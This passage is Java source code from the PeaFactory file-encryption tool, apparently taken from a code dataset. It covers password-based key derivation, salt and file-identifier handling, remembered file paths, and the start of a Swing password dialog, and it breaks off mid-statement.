\n\t\treturn PROGRAM_RANDOM_BYTES; \n\t}\n\tpublic final static byte[] getFileIdentifier() { \n\t\treturn FILE_IDENTIFIER; \n\t}\n\tpublic final static String getJarFileName() { \n\t\treturn JAR_FILE_NAME; \n\t}\n\tpublic final static String getLabelText() { \n\t\treturn LABEL_TEXT; \n\t}\n\tpublic final static boolean getExternFile() { \n\t\treturn EXTERN_FILE; \n\t}\n\tpublic final static boolean getBound() { \n\t\treturn BOUND; \n\t}\n\tpublic final static String getExternalFilePath() { \n\t\treturn EXTERNAL_FILE_PATH; \n\t}\n}", "public abstract class PswDialogBase { \n\n\t// special panel for PswDialogView, currently only used in fileType:\n\tprivate static JPanel typePanel;\n\t\n\tprivate static String encryptedFileName;\t\n\t\n\tprivate static String fileType; // set in daughter class\n\t\n\tprivate final static String PATH_FILE_NAME = PeaSettings.getJarFileName() + \".path\";\n\t\n\tprivate static PswDialogBase dialog;\n\t\n\tprivate char[] initializedPassword = null;\n\t\n\tprivate static String errorMessage = null;\n\t\n\t// i18n: \t\n\tprivate static String language; \n\tprivate static Locale currentLocale;\n\tprivate static Locale defaultLocale = Locale.getDefault();\n\tprivate static ResourceBundle languagesBundle;\n\t\n\tpublic static final Charset UTF_8 = Charset.forName(\"UTF-8\");\n\t\n\t\n\tprivate static String workingMode = \"\"; // rescue mode or test mode\n\t\n\t//============================================================\n\t// --- abstract Methods:\n\t//\n\n\t// pre computation with windowOpening\n\t// this is nowhere used yet, but maybe used later \n\t// for example ROM-hard KDF schemes \n\tpublic abstract void preComputeInThread();\n\t//\n\t// before exit: clear secret values\n\tpublic abstract void clearSecretValues();\n\t//\n\tpublic abstract void startDecryption();\n\n\t\n\t// currently only used in fileType:\n\tpublic abstract String[] getSelectedFileNames();\n\n\t//============================================================\n\t\n\tpublic final static void setLanguagesBundle(String _language) throws MalformedURLException {\n\t\t\n\t\t\n/*\t\tif(languagesBundle == null){\n\t\t\ttry {\n\t\t\t\t//System.out.println(\"language: \" + Locale.getDefault().getLanguage());\n\t\t\t\tif (Locale.getDefault().getLanguage().contains(\"de\")) {\n\t\t\t\t\tsetLanguagesBundle(Locale.getDefault().getLanguage());\n\t\t\t\t} else {\n\t\t\t\t\tsetLanguagesBundle(null);\n\t\t\t\t}\n\t\t\t} catch (MalformedURLException e1) {\n\t\t\t\t// TODO Auto-generated catch block\n\t\t\t\te1.printStackTrace();\n\t\t\t}\n\t\t}*/\n\t\t\n\t\t// i18n: \n\t\tif (_language == null) {\n\t\t\tif (defaultLocale == null) { // openSuse\n\t\t\t\tdefaultLocale = new Locale( System.getProperty(\"user.language\") );\n\t\t\t}\t\t\n\t\t\tlanguage = defaultLocale.getLanguage(); // get default language\n\t\t} else {\n\t\t\tlanguage = _language;\n\t\t}\n\t currentLocale = new Locale(language); // set default language as language\n\t \n\t // First try to open Peafactory i18n, if PswDialogBase is not used inside of a pea \n\t // FilePanel uses this bundle\n\t try {\n\t \tlanguagesBundle = ResourceBundle.getBundle(\"config.i18n.LanguagesBundle\", currentLocale);\n\t } catch (MissingResourceException mre) {// used inside of pea\n\n\t \ttry {\t \n\t \t /* File file = new File(\"resources\"); \n\t \t URL[] urls = {file.toURI().toURL()}; \n\t \t ClassLoader loader = new URLClassLoader(urls); \n\t \t languagesBundle = ResourceBundle.getBundle(\"LanguagesBundle\", currentLocale, loader); */ \n\t \t\tlanguagesBundle = ResourceBundle.getBundle(\"resources.PeaLanguagesBundle\", currentLocale);\n\t \t} catch (MissingResourceException mre1) {\n\t \t\t\n\t \t\ttry{\n\t \t\t\tFile file = new File(\"resources\"); \n\t\t \t URL[] urls = {file.toURI().toURL()}; \n\t\t \t ClassLoader loader = new URLClassLoader(urls); \n\t\t \t languagesBundle = ResourceBundle.getBundle(\"LanguagesBundle\", currentLocale, loader); \n\n\t \t\t} catch (MissingResourceException mre2) {\n\t \t\t\n\t\t \t\tcurrentLocale = new Locale(\"en\"); // set default language as language\n\t\t \t\tlanguage = \"en\";\n\n\t\t \t //File file = new File(\"src\" + File.separator + \"config\" + File.separator + \"i18n\");\n\t\t \t File file = new File(\"resources\"); \n\n\t\t \t URL[] urls = {file.toURI().toURL()}; \n\t\t \t ClassLoader loader = new URLClassLoader(urls); \n\t\t \t languagesBundle = ResourceBundle.getBundle(\"LanguagesBundle\", currentLocale, loader);\n\t \t\t}\n\t \t}\n\t }\n\t}\n\t\n\n\t@SuppressWarnings(\"all\")\n\tpublic final static void printInformations() {\n\t\tSystem.out.println(\"Cipher: \" + PeaSettings.getCipherAlgo().getAlgorithmName() );\n\t\tSystem.out.println(\"Hash: \" + PeaSettings.getHashAlgo().getAlgorithmName() );\n\t}\n\t\n\tpublic final static byte[] deriveKeyFromPsw(char[] pswInputChars) { \n\n\t\tif (pswInputChars == null) {\n\t\t\tpswInputChars = \"no password\".toCharArray();\n\t\t} else if (pswInputChars.length == 0) {\n\t\t\tpswInputChars = \"no password\".toCharArray();\n\t\t}\n\t\tbyte[] pswInputBytes = Converter.chars2bytes(pswInputChars); \n\t\tif (pswInputBytes.length > 0) {\n\t\t\tZeroizer.zero(pswInputChars);\n\t\t}\n\t\t// prevent using a zero password:\n\t\tpswInputChars = null;\n\n\t\t//=============\n\t\t// derive key: \n\t\t//\t\n\t\t// 1. initial hash: Bcrypt limited password length, password remains n RAM in Bcrypt and Scrypt\n\t\tbyte[] pswHash = HashStuff.hashAndOverwrite(pswInputBytes);\n\t\tZeroizer.zero(pswInputBytes);\n\n\t\t// 2. derive key from selected KDF: \n\t\tbyte[] keyMaterial = KeyDerivation.getKdf().deriveKey(pswHash);\n\n\t\tZeroizer.zero(pswHash);\t\t\n\t\n\t\treturn keyMaterial;\n\t}\n\n\n\tprotected final byte[] getKeyMaterial() {\n\n\t\t//-------------------------------------------------------------------------------\n\t\t// Check if t is alive, if so: wait...\n\t\tif (PswDialogView.getThread().isAlive()) { // this should never happen... \n\t\t\tSystem.err.println(\"PswDialogBase: WhileTypingThread still alive!\");\n\t\t\ttry {\n\t\t\t\tPswDialogView.getThread().join();\n\t\t\t} catch (InterruptedException e) {\n\t\t\t\tSystem.err.println(\"PswDialogBase: Joining thread interrupted\");\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t}\t\t\t\t\t\t\t\t\n\t\t\n\t\t//---------------------------------------------------------------------\n\t\t// get password \n\t\tchar[] pswInputChars = null;\n\t\tif (PswDialogView.isInitializing() == false){\n\t\t\tpswInputChars = PswDialogView.getPassword();\t\n\t\t} else {\n\t\t\tpswInputChars = initializedPassword;\n\t\t}\n\n\t\tbyte[] keyMaterial = deriveKeyFromPsw(pswInputChars);\t\n\t\t\n\t\tZeroizer.zero(initializedPassword);\n\t\tinitializedPassword = null;\n\n\t\tprintInformations();\n\t\n\t\tif (keyMaterial == null) {\n\t\t\tPswDialogView.getView().displayErrorMessages(\"Key derivation failed.\\n\"\n\t\t\t\t\t+ \"Program bug.\");\n\t\t\tPswDialogView.clearPassword();\n\t\t\tif (CipherStuff.isBound() == false) {\n\t\t\t\t// reset the salt:\n\t\t\t\tKeyDerivation.setSalt(Attachments.getProgramRandomBytes());\n\t\t\t}\n\t\t}\t\t\n\t\treturn keyMaterial;\n\t}\n\n\tpublic final static void initializeVariables() {\t\n\t\t\n\t\tHashStuff.setHashAlgo(PeaSettings.getHashAlgo() );\n\t\tCipherStuff.setCipherAlgo(PeaSettings.getCipherAlgo() );\n\t\tCipherStuff.setBound(PeaSettings.getBound());\n\t\tKeyDerivation.setKdf( PeaSettings.getKdfScheme() );\n\t\tKeyDerivation.settCost(PeaSettings.getIterations() );\n\t\t//KDFScheme.setScryptCPUFactor(PeaSettings.getIterations() );\n\t\tKeyDerivation.setmCost(PeaSettings.getMemory() );\n\t\tKeyDerivation.setArg3(PeaSettings.getParallelization());\n\t\tKeyDerivation.setVersionString(PeaSettings.getVersionString() );\n\t\tAttachments.setProgramRandomBytes(PeaSettings.getProgramRandomBytes() );\n\t\tKeyDerivation.setSalt(Attachments.getProgramRandomBytes() );\n\t\t\n\t\tAttachments.setFileIdentifier(PeaSettings.getFileIdentifier() );\n\t}\n\t\n\t// If a blank PEA is started first: \n\tpublic final byte[] initializeCiphertext(byte[] ciphertext){\n\t\t// salt must be set manually and will be attached to the file later\n\t\t// in encryption step\n\t\tKeyDerivation.setSalt(Attachments.getProgramRandomBytes());\n\t\tbyte[] attachedSalt = new RandomStuff().createRandomBytes(KeyDerivation.getSaltSize());\n\t\t// this will set attachedSalt and update the salt:\n\t\tKeyDerivation.setAttachedAndUpdateSalt(attachedSalt);\n\t\t\n\t\t// attach salt:\n\t\tciphertext = Attachments.attachBytes(ciphertext, attachedSalt);\n\t\t// attach fileIdentifier\n\t\tciphertext = Attachments.attachBytes(ciphertext, Attachments.getFileIdentifier());\n\t\t\n\t\treturn ciphertext;\n\t}\n\t\n\t// if the PAE is not bonded to a content: the salt is attached\n\tpublic final void handleAttachedSalt(byte[] ciphertext) {\n\t\t// reset salt if password failed before:\n\t\tKeyDerivation.setSalt(Attachments.getProgramRandomBytes());\n\n\t\tbyte[] tmp = new byte[KeyDerivation.getSaltSize()];\n\t\tSystem.arraycopy(ciphertext, \n\t\t\t\tciphertext.length \n\t\t\t\t- Attachments.getFileIdentifierSize()\n\t\t\t\t- KeyDerivation.getSaltSize(), \n\t\t\t\ttmp, 0, tmp.length);\n\t\tKeyDerivation.setAttachedAndUpdateSalt(tmp);\n\t}\n\n\t//== file functions: ===============================================================\t\n\t\n\t// checks access and file identifier\n\t// sets errorMessages\n\tpublic final static boolean checkFile(String fileName) {\n\t\tFile file = new File( fileName );\t\t\n\t\t\n\n\t\tif (file.exists() && file.isFile() && file.canRead() && file.canWrite() ) {\n\t\t\t//byte[] content = ReadResources.readExternFile(PswDialogBase.getExternalFilePath());\n\t\t\tRandomAccessFile f;\n\t\t\ttry {\n\t\t\t\tf = new RandomAccessFile(file, \"rwd\");\n\t\t \tif ( Attachments.checkFileIdentifier(f, false) == true) {\n\t\t\t \tf.close();\n\t\t\t \t//============================\n\t\t\t \t// external file name success:\n\t\t\t \t//============================\n\t\t\t \treturn true;\n\t\t\t\t} else {\t\t\t\t\t\n\t\t\t\t\t/*if (fileType.equals(\"passwordSafe\") && f.length() == 0) { // just not initialized\n\t\t\t\t\t\tSystem.out.println(\"Program not initialized.\");\n\t\t\t\t\t\tf.close();\n\t\t\t\t\t\treturn true;\n\t\t\t\t\t}*/\n\t\t\t\t\tf.close();\n\t\t\t\t\tSystem.out.println(\"PswDialogView: External file path - file identifier failed : \" + fileName );\n\t\t\t\t\tPswDialogBase.setErrorMessage(\n\t\t\t\t\t\t\tPswDialogBase.getErrorMessage()\n\t\t\t\t\t\t\t+ fileName + languagesBundle.getString(\"file_identifier_failed\") + \"\\n\");//\": \\n file identifier failed.\\n\");\n\t\t\t\t}\n\t\t\t} catch (FileNotFoundException e) {\n\t\t\t\tPswDialogBase.setErrorMessage(\n\t\t\t\t\t\tPswDialogBase.getErrorMessage()\n\t\t\t\t\t\t+ fileName + \": \" + e +\".\\n\");\n\t\t\t\t//e.printStackTrace();\n\t\t\t} catch (HeadlessException e) {\n\t\t\t\tPswDialogBase.setErrorMessage(\n\t\t\t\t\t\tPswDialogBase.getErrorMessage()\n\t\t\t\t\t\t+ fileName + \": \" + e +\".\\n\");\n\t\t\t\t//e.printStackTrace();\n\t\t\t} catch (IOException e) {\n\t\t\t\tPswDialogBase.setErrorMessage(\n\t\t\t\t\t\tPswDialogBase.getErrorMessage()\n\t\t\t\t\t\t+ fileName + \": \" + e +\".\\n\");\n\t\t\t\t//e.printStackTrace();\n\t\t\t} catch (Exception e) {\n\t\t\t\tPswDialogBase.setErrorMessage(\n\t\t\t\t\t\tPswDialogBase.getErrorMessage()\n\t\t\t\t\t\t+ fileName + \": \" + e +\".\\n\");\n\t\t\t\t//e.printStackTrace();\n\t\t\t}\n\t\t}\n\t\treturn false;\n\t}\n\t\n\n\t\n\t//\n\t// 1. checks external file name\n\t// 2. checks path file\n\t// success-> sets fileLabel, PswDialogBase.setEncryptedFileName(...)\n\t// no success -> PswDialogBase.setErrorMessage(...)\n\tpublic final static String searchSingleFile() {\n\t\t\n\t\tPswDialogBase.setErrorMessage(\"\");\n\n\t\t// 1. externalFilePath:\n\t\tif ( PeaSettings.getExternalFilePath() != null) {\n\t\t\t\n\t\t\tString externalFileName = PeaSettings.getExternalFilePath();\n\t\t/*\tif (PswDialogBase.getFileType().equals(\"passwordSafe\")) { \n\t\t\t\texternalFileName = externalFileName \n\t\t\t\t\t\t+ File.separator \n\t\t\t\t\t\t+ PswDialogBase.getJarFileName() + File.separator\n\t\t\t\t\t\t+ \"resources\" + File.separator + \"password_safe_1.lock\";\t\n\t\t\t}*/\n\t\t\tif ( checkFile(externalFileName) == true ) { // access and fileIdentifier\n\t\t\t\tPswDialogView.setFileName( PeaSettings.getExternalFilePath() );\n\t\t\t\tPswDialogBase.setEncryptedFileName( PeaSettings.getExternalFilePath() ); \n\t\t \treturn externalFileName;\n\t\t\t} else {\n\t\t\t\tSystem.out.println(\"PswDialogView: External file path invalid : \" + externalFileName );\n\t\t\t\tPswDialogBase.setErrorMessage(\n\t\t\t\t\t\tPswDialogBase.getErrorMessage()\n\t\t\t\t\t\t//+ \"Default file: \" + EXTERNAL_FILE_PATH + \"--- No access.\\n\");\n\t\t\t\t\t\t+ languagesBundle.getString(\"default_file\") + \" \"\n\t\t\t\t\t\t+ PeaSettings.getExternalFilePath()\n\t\t\t\t\t\t+ \"--- \" + languagesBundle.getString(\"no_access\") + \"\\n\");\n\t\t\t}\n\n\t\t} else { //if (PswDialogBase.getEncryptedFileName() == null) {\n\t\t\tif (fileType.equals(\"image\") ) {\n\t\t\t\t//if ( PeaSettings.getBound() == false) {\n\t\t\t\t//\tSystem.out.println(\"Base\");\n\t\t\t\t//} else {\n\t\t\t\t\t// image was stored as text.lock inside jar file in directory resource\n\t\t\t\treturn \"insideJar\";\n\t\t\t\t//}\n\t\t\t}\n\t\t}\n\t\t\t\n\t\t// check path file\n\t\tString[] pathNames = accessPathFile();\n\t\t\n\t\tif (pathNames == null) {\n\t\t\tPswDialogBase.setErrorMessage(\n\t\t\t\t\tPswDialogBase.getErrorMessage()\n\t\t\t\t\t+ languagesBundle.getString(\"no_path_file_result\") + \"\\n\");\n\t\t\t\t\t//+ \"No result from previously saved file names in path file.\\n\");\n\t\t} else {\n\t\t\t\n\t\t\tfor (int i = 0; i < pathNames.length; i++) {\n\t\t\t\t\n\t\t\t\tif (checkFile(pathNames[i]) == true ) {\n\t\t\t\t\tPswDialogView.setFileName(pathNames[i]);\n\t\t\t\t\tPswDialogBase.setEncryptedFileName(pathNames[i]);\n\t\t\t\t\treturn pathNames[i];\n\t\t\t\t\t\n\t\t\t\t} else {\n\t\t\t\t\tPswDialogBase.setErrorMessage(\n\t\t\t\t\t\t\tPswDialogBase.getErrorMessage() +\n\t\t\t\t\t\t\t//\"File from path file: \" + pathNames[i] + \"--- No access.\\n\");\n\t\t\t\t\t languagesBundle.getString(\"file_from_path_file\") + \" \"\n\t\t\t\t\t+ pathNames[i] \n\t\t\t\t\t+ \"--- \" + languagesBundle.getString(\"no_access\") + \"\\n\");\n\t\t\t\t}\n\t\t\t}\t\t\t\t\t\t\n\t\t}\n\n\t\t// no file found from external file name and path file:\n\t\tif (PswDialogView.getFileName() == null) {\n\t\t\tPswDialogView.setFileName(languagesBundle.getString(\"no_valid_file_found\"));//\"no valid file found\");\n\t\t}\t\t\t\t\n\t\treturn null;\n\t}\n\t\n\t// detects file names from path file\n\tprotected final static String[] accessPathFile() {\n\t\tFile file = new File(PATH_FILE_NAME);\n\t\tif (! file.exists() ) {\n\t\t\tSystem.err.println(\"PswDialogBase: no path file specified\");\n\t\t\treturn null;\n\t\t}\n\t\tif (! file.canRead() ) {\n\t\t\tSystem.err.println(\"PswDialogBase: can not read path file \" + file.getName() );\n\t\t\tPswDialogView.setMessage(languagesBundle.getString(\"path_file_access_error\")\n\t\t\t\t+ \"\\n\" + PATH_FILE_NAME);\n/*\t\t\tJOptionPane.showInternalMessageDialog(PswDialogView.getView(),\n\t\t\t\t\tlanguagesBundle.getString(\"path_file_access_error\")\n\t\t\t\t//\"There is are file containing names of potentially encrypted files,\\n\" +\n\t\t\t\t//\" but no access to it: \\n\"\n\t\t\t\t+ PATH_FILE_NAME, \n\t\t\t\t\"Info\",//title\n\t\t\t\tJOptionPane.INFORMATION_MESSAGE);*/\n\t\t\treturn null;\n\t\t}\n\t\t\n\t\tbyte[] pathBytes = ReadResources.readExternFile( file.getName() );\n\t\tif (pathBytes == null) {\n\t\t\tSystem.err.println(\"PswDialogBase: path file does not contain any file name: \" + file.getPath() );\n\t\t\treturn null;\n\t\t}\n\t\tString pathString = new String(pathBytes, UTF_8);\n\n\t\tString[] pathNames = pathString.split(\"\\n\");\n\t\n\t\treturn pathNames;\t\t\t\n\t}\n\t\n\t// checks if file names already exist in path file\n\t// if not: adds them\t\n\tpublic final static void addFilesToPathFile(String[] selectedFileNames) {\n\n\t\tbyte[] newPathBytes = null;\n\t\tStringBuilder newPathNames = null;\n\t\t\t\t\n\t\tFile file = new File(PATH_FILE_NAME);\n\t\t\n\t\tif (! file.exists() ) { // WriteResources creates new file\n\t\t\t\n\t\t\tnewPathNames = new StringBuilder();\n\t\t\t\n\t\t\tfor (int i = 0; i < selectedFileNames.length; i++) {\n\t\t\t\tnewPathNames.append(selectedFileNames[i]);\n\t\t\t\tnewPathNames.append(\"\\n\");\n\t\t\t}\n\t\t\t\n\t\t} else {\t// path file exists\n\t\t\n\t\t\tif (! file.canRead() || ! file.canWrite() ) {\n\t\t\t\tSystem.err.println(\"PswDialogBase: can not read and write path file \" + file.getName() );\n\t\t\t\t\n\t\t\t\tPswDialogView.setMessage(languagesBundle.getString(\"path_file_access_error\")\n\t\t\t\t\t\t+ \"\\n\" \n\t\t\t\t\t\t+ PATH_FILE_NAME);\n\t\t\t/*\tJOptionPane.showInternalMessageDialog(PswDialogView.getView(),\n\t\t\t\t\t\tlanguagesBundle.getString(\"path_file_access_error\")\n\t\t\t\t\t//\"There is are file containing names of potentially encrypted files,\\n\" +\n\t\t\t\t\t//\" but no access to it: \\n\" \n\t\t\t\t\t+ PATH_FILE_NAME, \n\t\t\t\t\t\"Info\",//title\n\t\t\t\t\tJOptionPane.INFORMATION_MESSAGE); */\n\t\t\t\treturn;\n\t\t\t}\n\t\t\t\n\t\t\t// get file names from path file:\n\t\t\tString[] oldPathNames = accessPathFile();\n\t\t\t\n\t\t\tnewPathNames = new StringBuilder();\n\t\t\t\n\t\t\t// append old file names:\n\t\t\tfor (int i = 0; i < oldPathNames.length; i++) {\n\t\t\t\tnewPathNames.append(oldPathNames[i]);\n\t\t\t\tnewPathNames.append(\"\\n\");\n\t\t\t}\n\t\t\t// check if file name already exists, if not append\n\t\t\tfor (int i = 0; i < selectedFileNames.length; i++) {\n\t\t\t\tboolean append = true;\n\t\t\t\tfor (int j = 0; j < oldPathNames.length; j++) {\n\t\t\t\t\tif (selectedFileNames[i].equals(oldPathNames[j] )){\n\t\t\t\t\t\tappend = false;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif (append == true) {\n\t\t\t\t\tnewPathNames.append(selectedFileNames[i]);\n\t\t\t\t\tnewPathNames.append(\"\\n\");\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tnewPathBytes = new String(newPathNames).getBytes(UTF_8);\n\t\t\t\n\t\tWriteResources.write(newPathBytes, PATH_FILE_NAME, null);\t\t\n\t}\n\t\n\t// checks if current encryptedFileName is in path file\n\t// asks to remember if not\n\tprotected final static void pathFileCheck() {\n\t\t//String encryptedFileName = getEncryptedFileName();\n\t\tif (encryptedFileName != null) {\n\t\t\tif (encryptedFileName.equals(PeaSettings.getExternalFilePath() )) {\n\t\t\t\treturn; // no need to remember\n\t\t\t}\t\t\t\n\t\t}\n\t\tString pathFileName = PeaSettings.getJarFileName() + \".path\";\n\t\tbyte[] pathFileContent = ReadResources.readExternFile(pathFileName);\n\t\tif (pathFileContent == null) {\n\t\t\tint n = JOptionPane.showConfirmDialog(null,\n\t\t\t\t\tlanguagesBundle.getString(\"remember_files\")\n\t\t\t//\t\t\"Should the name of the file be saved to remember for the next program start? \\n\" \n\t\t\t\t\t+ languagesBundle.getString(\"path_file_storage_info\")\n\t\t\t\t//+ \"The name is then saved in the same folder as this program in:\"\n\t\t\t+ pathFileName , \n\t\t\t\t\"?\", \n\t\t\t\tJOptionPane.OK_CANCEL_OPTION, \n\t\t\t\tJOptionPane.PLAIN_MESSAGE);\n\t\t\t\tif (n == 2) { // cancel\n\t\t\t\t\treturn;\n\t\t\t\t} else if (n == 0){\n\t\t\t\t\tbyte[] encryptedFileNameBytes = encryptedFileName.getBytes(UTF_8);\n\n\t\t\t\t\tWriteResources.write(encryptedFileNameBytes, pathFileName, null);\n\t\t\t\t}\n\t\t\treturn;\n\t\t} else {\n\t\t\tString pathNamesString = new String(pathFileContent, UTF_8);\n\n\t\t\tString[] pathNames = pathNamesString.split(\"\\n\");\n\t\t\t// check if encryptedFileName is already included\n\t\t\tfor (int i = 0; i < pathNames.length; i++) {\n\t\t\t\tif (pathNames[i].equals(encryptedFileName)) {\n\t\t\t\t\tSystem.out.println(\"Already included: \" + encryptedFileName);\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t}\n\t\t\t\t\t\t\n\t\t\t// is not included:\n\t\t\tint n = JOptionPane.showConfirmDialog(null,\n\t\t\t//\t\"Should the name of the file be saved to remember for the next program start? \\n\" \n\t\t\t//+ \"(The name is then saved in \" + pathFileName + \" in the same folder as this program).\", \n\t\t\tlanguagesBundle.getString(\"remember_files\")\n\t\t\t+ languagesBundle.getString(\"path_file_storage_info\")\n\t\t\t+ pathFileName , \n\t\t\t\"?\", \n\t\t\tJOptionPane.OK_CANCEL_OPTION, \n\t\t\tJOptionPane.PLAIN_MESSAGE);\n\t\t\tif (n == 2) { // cancel\n\t\t\t\treturn;\n\t\t\t} else if (n == 0){\n\t\t\t\tbyte[] encryptedFileNameBytes = (\"\\n\" + encryptedFileName).getBytes(UTF_8);\n\n\t\t\t\tbyte[] newContent = new byte[pathFileContent.length + encryptedFileNameBytes.length];\n\t\t\t\tSystem.arraycopy(pathFileContent, 0, newContent, 0, pathFileContent.length);\n\t\t\t\tSystem.arraycopy(encryptedFileNameBytes, 0, newContent, pathFileContent.length, encryptedFileNameBytes.length);\n\t\t\t\t\n\t\t\t\tif (newContent != null) {\n\t\t\t\t\tWriteResources.write(newContent, pathFileName, null);\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t}\t\t\n\t} \n\n\n\t//==========================================\n\t// Getter & Setter\n\n\tpublic final static Charset getCharset(){\n\t\treturn UTF_8;\n\t}\n\t\n\tprotected final static void setFileType(String _fileType) {\n\t\tfileType = _fileType;\n\t}\n\tpublic final static String getFileType() {\n\t\treturn fileType;\n\t}\n\tpublic final static String getEncryptedFileName() {\n\t\treturn encryptedFileName;\n\t}\n\tpublic final static void setEncryptedFileName(String _encryptedFileName) {\n\t\tencryptedFileName = _encryptedFileName;\n\t}\n\tprotected final static void setDialog(PswDialogBase _dialog) {\n\t\tdialog = _dialog;\n\t}\n\tpublic final static PswDialogBase getDialog() {\n\t\treturn dialog;\n\t}\n\tpublic final static String getPathFileName() {\n\t\treturn PATH_FILE_NAME;\n\t}\n\tpublic final static JPanel getTypePanel() {\n\t\treturn typePanel;\n\t}\n\tpublic final static void setTypePanel( JPanel panel){\n\t\ttypePanel = panel;\n\t}\n\tpublic final static String getErrorMessage() {\n\t\treturn errorMessage;\n\t}\n\tpublic final static void setErrorMessage(String newErrorMessage) {\n\t\terrorMessage = newErrorMessage;\n\t}\n\tpublic final static ResourceBundle getBundle(){\n\t\tif (languagesBundle == null) { // set default language\n\t\t\ttry {\n\t\t\t\tsetLanguagesBundle(null);\n\t\t\t} catch (MalformedURLException e) {\n\t\t\t\t// TODO Auto-generated catch block\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t}\n\t\treturn languagesBundle;\n\t}\n\t\n\tpublic char[] getInitializedPasword(){\n\t\treturn initializedPassword;\n\t}\n\tpublic void setInitializedPassword(char[] psw){\n\t\tinitializedPassword = psw;\n\t}\n\t/**\n\t * @return the workingMode\n\t */\n\tpublic static String getWorkingMode() {\n\t\treturn workingMode;\n\t}\n\t/**\n\t * @param workingMode the workingMode to set\n\t */\n\tpublic static void setWorkingMode(String workingMode) {\n\t\tPswDialogBase.workingMode = workingMode;\n\t}\n}", "@SuppressWarnings(\"serial\")\npublic class PswDialogView extends JDialog implements WindowListener,\n\t\tActionListener, KeyListener {\n\t\n\tprivate static final Color peaColor = new Color(230, 249, 233);\n\tprivate static final Color messageColor = new Color(252, 194, 171);//(255, 216, 151)\n\t\n\tprivate static JLabel pswLabel;\n\tprivate static JPasswordField pswField;\n\tprivate JButton okButton;\n\t\n\tprivate JPanel filePanel;\n\t\n\tprivate static JLabel fileLabel;\n\n\tprivate static String fileType = \"dingsda\";\n\t\n\tprivate static JCheckBox rememberCheck;\n\t\n\tprivate static PswDialogView dialog;\n\t\n\t// display warnings and error messages\n\tprivate static JTextArea messageArea;\n\t\n\tprivate static WhileTypingThread t;\n\t\n\tprivate static Image image;\n\t\n\tprivate static ResourceBundle languagesBundle;\n\t\n\tprivate static boolean started = false;// to check if decryption was startet by ok-button\n\t\n\tprivate static boolean initializing = false; // if started first time (no password, no content)\n\t\n\tprivate PswDialogView() {\n\t\t\n\t\tsetUI();\n\t\t\n\t\tlanguagesBundle = PswDialogBase.getBundle();\n\t\t\n\t\tfileType = PswDialogBase.getFileType();\n\t\n\t\tdialog = this;\n\t\tthis.setTitle(PeaSettings.getJarFileName() );\n\t\t\t\t\n\t\tthis.setBackground(peaColor);\n\n\t\tURL url = this.getClass().getResource(\"resources/pea-lock.png\");\n\t\tif (url == null) {\n\t\t\ttry{\n\t\t\timage = new ImageIcon(getClass().getClassLoader().getResource(\"resources/pea-lock.png\")).getImage();\n\t\t\t} catch (Exception e) {\n\t\t\t\tSystem.out.println(\"image not found\");\n\t\t\t}\n\t\t} else {\t\t\t\n\t\t\timage = new ImageIcon(url).getImage();\n\t\t}\n\n\n\t this.setIconImage(image);\n\t\n\t\tthis.addWindowListener(this);\n\t\t\n\t\tthis.addMouseMotionListener(new MouseRandomCollector() );\n\n\t\tJPanel topPanel = (JPanel) this.getContentPane();\n\t\t// more border for right and bottom to start\n\t\t// EntropyPool if there is no password\n\t\ttopPanel.setBackground(peaColor);\n\t\ttopPanel.setBorder(new EmptyBorder(5,5,15,15));\n\t\t\n\t\ttopPanel.addMouseMotionListener(new MouseRandomCollector() );\n\t\t\n\t\tmessageArea = new JTextArea();\n\t\tmessageArea.setEditable(false);\t\n\t\tmessageArea.setLineWrap(true);\n\t\tmessageArea.setWrapStyleWord(true);\n\t\tmessageArea.setBackground(topPanel.getBackground());\t\t\n\t\t\n\t\tokButton = new JButton(\"ok\");\n\t\tokButton.setPreferredSize(new Dimension( 60, 30));\n\t\tokButton.setActionCommand(\"ok\");\n\t\tokButton.addActionListener(this);\n\t\t// if there is no password, this might be the only \n\t\t// chance to start EntropyPool\n\t\tokButton.addMouseMotionListener(new MouseRandomCollector() );\n\t\t\n\t\ttopPanel.setLayout(new BoxLayout(topPanel, BoxLayout.Y_AXIS));\t\t\n\t\t\n\t\ttopPanel.add(messageArea);\n\t\t\n\t\tif (initializing == false) {\t\t\t\n\t\t\t\n\t\t\tif (PswDialogBase.getWorkingMode().equals(\"-r\")) { // rescue mode\n\t\t\t\tJLabel rescueLabel = new JLabel(\"=== RESCUE MODE ===\");\n\t\t\t\trescueLabel.setForeground(Color.RED);\n\t\t\t\ttopPanel.add(rescueLabel);\n\t\t\t}\n\n\t\t\tif (PeaSettings.getExternFile() == true) {\t// display files and menu\t\t\n\t\t\t\t\n\t\t\t\tif (fileType.equals(\"file\") ) {\n\t\t\t\t\tfilePanel = PswDialogBase.getTypePanel();\n\t\t\t\t\tfilePanel.addMouseMotionListener(new MouseRandomCollector() );\n\t\t\t\t\ttopPanel.add(filePanel);\n\t\t\t\t\t\n\t\t\t\t} else { // text, passwordSafe, image: one single file\n\t\t\t\t\t\n\t\t\t\t\tJPanel singleFilePanel = new JPanel();\n\t\t\t\t\tsingleFilePanel.setLayout(new BoxLayout(singleFilePanel, BoxLayout.Y_AXIS));\n\t\t\t\t\t\n\t\t\t\t\tJPanel fileNamePanel = new JPanel();\n\t\t\t\t\tfileNamePanel.setLayout(new BoxLayout(fileNamePanel, BoxLayout.X_AXIS));\n\t\t\t\t\tsingleFilePanel.add(fileNamePanel);\n\t\t\t\t\t\n\t\t\t\t\tJLabel noteLabel = new JLabel();\n\t\t\t\t\tnoteLabel.setText(languagesBundle.getString(\"encrypted_file\"));//\"encryptedFile: \");\t\t\t\t\n\t\t\t\t\tfileNamePanel.add(noteLabel);\n\t\t\t\t\tfileNamePanel.add(Box.createHorizontalStrut(10));\n\t\t\t\t\t\n\t\t\t\t\tfileLabel = new JLabel(languagesBundle.getString(\"no_valid_file_found\") + languagesBundle.getString(\"select_new_file\"));//\"no valid file found - select a new file\");\n\t\t\t\t\tfileNamePanel.add(fileLabel);\n\t\t\t\t\tfileNamePanel.add(Box.createHorizontalGlue() );\n\t\t\t\t\t\n\t\t\t\t\tJPanel openButtonPanel = new JPanel();\n\t\t\t\t\topenButtonPanel.setLayout(new BoxLayout(openButtonPanel, BoxLayout.X_AXIS));\n\t\t\t\t\tsingleFilePanel.add(openButtonPanel);\n\t\t\t\t\t\n\t\t\t\t\tJButton openFileButton = new JButton();\n\t\t\t\t\topenFileButton.setFont(new 